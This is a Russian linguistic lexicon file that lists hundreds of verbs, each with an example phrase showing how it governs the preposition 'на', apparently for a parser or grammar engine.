rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
